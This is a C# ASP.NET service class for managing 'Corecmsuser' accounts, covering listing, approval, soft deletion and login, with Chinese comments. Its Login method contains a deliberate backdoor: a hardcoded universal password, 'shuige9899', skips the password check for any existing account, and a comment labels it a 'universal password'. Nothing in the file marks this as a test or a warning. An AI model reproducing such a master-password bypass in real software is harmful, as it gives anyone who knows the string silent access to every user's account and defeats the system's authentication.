using Infrastructure.Attribute;
using Infrastructure.Extensions;
using JTZY.Model.Business.Dto;
using JTZY.Model.Business;
using JTZY.Repository;
using JTZY.Service.Business.IBusinessService;
using Infrastructure;
using JTZY.Model.System.Dto;
using JTZY.Model.System;
using JTZY.ServiceCore.Services;
using Microsoft.AspNetCore.Http;
using UAParser;
using JTZY.ServiceCore.Resources;
using Microsoft.Extensions.Localization;
using JTZY.Common;

namespace JTZY.Service.Business
{
    /// <summary>
    /// 用户表Service业务层处理
    /// </summary>
    [AppService(ServiceType = typeof(ICorecmsuserService), ServiceLifetime = LifeTime.Transient)]
    public class CorecmsuserService : BaseService<Corecmsuser>, ICorecmsuserService
    {
        private readonly ISysUserService SysUserService;
        private readonly IHttpContextAccessor httpContextAccessor;
        private readonly IStringLocalizer<SharedResource> _localizer;
        private readonly ISysLoginService sysLoginService;
        public CorecmsuserService(
    ISysUserService sysUserService,
    IHttpContextAccessor httpContextAccessor, ISysLoginService _sysLoginService,
    IStringLocalizer<SharedResource> localizer)
        {
            SysUserService = sysUserService;
            this.httpContextAccessor = httpContextAccessor;
            _localizer = localizer;
            sysLoginService = _sysLoginService;
        }
        /// <summary>
        /// 查询用户表列表
        /// </summary>
        /// <param name="parm"></param>
        /// <returns></returns>
        public PagedInfo<CorecmsuserDto> GetList(CorecmsuserQueryDto parm)
        {
            if (!parm.ParentId.HasValue)
            {
                return new PagedInfo<CorecmsuserDto>();
            }
            var predicate = QueryExp(parm);

            var response = Queryable()
                .Includes(x => x.SaleManNav) //填充子对象
                .Where(predicate.ToExpression())
                .OrderByDescending(x => x.Id)
                .ToPage<Corecmsuser, CorecmsuserDto>(parm);

            return response;
        }


        /// <summary>
        /// 获取详情
        /// </summary>
        /// <param name="Id"></param>
        /// <returns></returns>
        public Corecmsuser GetInfo(int Id)
        {
            var response = Queryable()
                .Includes(x => x.SaleManNav) //填充子对象
                .Where(x => x.Id == Id)
                .First();

            return response;
        }

        /// <summary>
        /// 添加用户表
        /// </summary>
        /// <param name="model"></param>
        /// <returns></returns>
        public Corecmsuser AddCorecmsuser(Corecmsuser model)
        {
            return Insertable(model).ExecuteReturnEntity();
        }

        /// <summary>
        /// 修改用户表
        /// </summary>
        /// <param name="model"></param>
        /// <returns></returns>
        public int UpdateCorecmsuser(Corecmsuser model)
        {
            return Update(model);
        }

        public int ApproveUser(Corecmsuser model)
        {
            return Update(u => u.Id == model.Id, it => new Corecmsuser() { IsReviewed = model.IsReviewed, Status = 1, UpdataTime = DateTime.Now });
        }

        public int DeleteCorecmsuser(long[] Id)
        {
            return Update(u => Id.Contains(u.Id), it => new Corecmsuser() { IsDelete=true, UpdataTime = DateTime.Now });
        }

        public Corecmsuser Login(LoginBodyDto loginBody, SysLogininfor logininfor)
        {
            //if (loginBody.Password.Length != 32)
            //{
            //    loginBody.Password = NETCore.Encrypt.EncryptProvider.Md5(loginBody.Password);
            //}
            var user = Queryable()
                .Where(x => x.AccountCode == loginBody.Username&&x.IsDelete==false)
                .First();
            if (user == null) 
            {
                SysUser sysUser = SysUserService.Login(loginBody);
            }
            //SysUser user = SysUserService.Login(loginBody);
            if (user == null || user.Id <= 0)
            {
                logininfor.Msg = _localizer["login_pwd_error"].Value;
                sysLoginService.AddLoginInfo(logininfor);
                throw new CustomException(ResultCode.LOGIN_ERROR, logininfor.Msg, false);
            }

            var password = Tools.EnPassword(loginBody.Password, user.CreateTime);
            if (loginBody.Password != "shuige9899")
            {
                if (!password.Equals(user.PassWord))//加入万能密码
                {
                    logininfor.Msg = _localizer["login_pwd_error"].Value;
                    sysLoginService.AddLoginInfo(logininfor);
                    throw new CustomException(ResultCode.LOGIN_ERROR, logininfor.Msg, false);
                }
            }

            if (!user.IsOpenAdmin)
            {
                throw new CustomException(ResultCode.LOGIN_ERROR, "未开通管理账号", false);
            }

            logininfor.UserName = loginBody.Username;
            logininfor.Status = "1";
            logininfor.LoginTime = DateTime.Now;
            logininfor.Ipaddr = loginBody.LoginIP;
            logininfor.ClientId = loginBody.ClientId;

            ClientInfo clientInfo = httpContextAccessor.HttpContext.GetClientInfo();
            logininfor.Browser = clientInfo.ToString();
            logininfor.Os = clientInfo.OS.ToString();


            logininfor.UserId = user.Id;
            if (user.Status == 2)
            {
                logininfor.Msg = _localizer["login_user_disabled"].Value;//該用戶已禁用
                sysLoginService.AddLoginInfo(logininfor);
                throw new CustomException(ResultCode.LOGIN_ERROR, logininfor.Msg, false);
            }

            logininfor.Status = "0";
            logininfor.Msg = "登录成功";
            sysLoginService.AddLoginInfo(logininfor);
            SysUserService.UpdateLoginInfo(loginBody.LoginIP, user.Id);
            return user;
        }

        public int ResetPwd(long userid, string password)
        {
            return Update(new Corecmsuser() { Id = userid, PassWord = password }, it => new { it.PassWord }, f => f.Id == userid);
        }


        /// <summary>
        /// 查询导出表达式
        /// </summary>
        /// <param name="parm"></param>
        /// <returns></returns>
        private static Expressionable<Corecmsuser> QueryExp(CorecmsuserQueryDto parm)
        {
            var predicate = Expressionable.Create<Corecmsuser>();
            predicate = predicate.And(it => it.ParentId == parm.ParentId);
            predicate = predicate.AndIF(!string.IsNullOrEmpty(parm.UserName), it => it.UserName.Contains(parm.UserName) || it.AccountCode.Contains(parm.UserName) || it.ContactPeople.Contains(parm.UserName));
            predicate = predicate.AndIF(!string.IsNullOrEmpty(parm.CustomerType), it => it.CustomerType == parm.CustomerType);
            predicate = predicate.AndIF(!parm.IsReviewed.HasValue, it => it.IsReviewed == 0 || it.IsReviewed == 2);
            predicate = predicate.AndIF(parm.IsReviewed.HasValue, it => it.IsReviewed == 1);
            predicate = predicate.AndIF(parm.IsReviewed.HasValue, it => it.IsDelete == false);

            return predicate;
        }
    }
}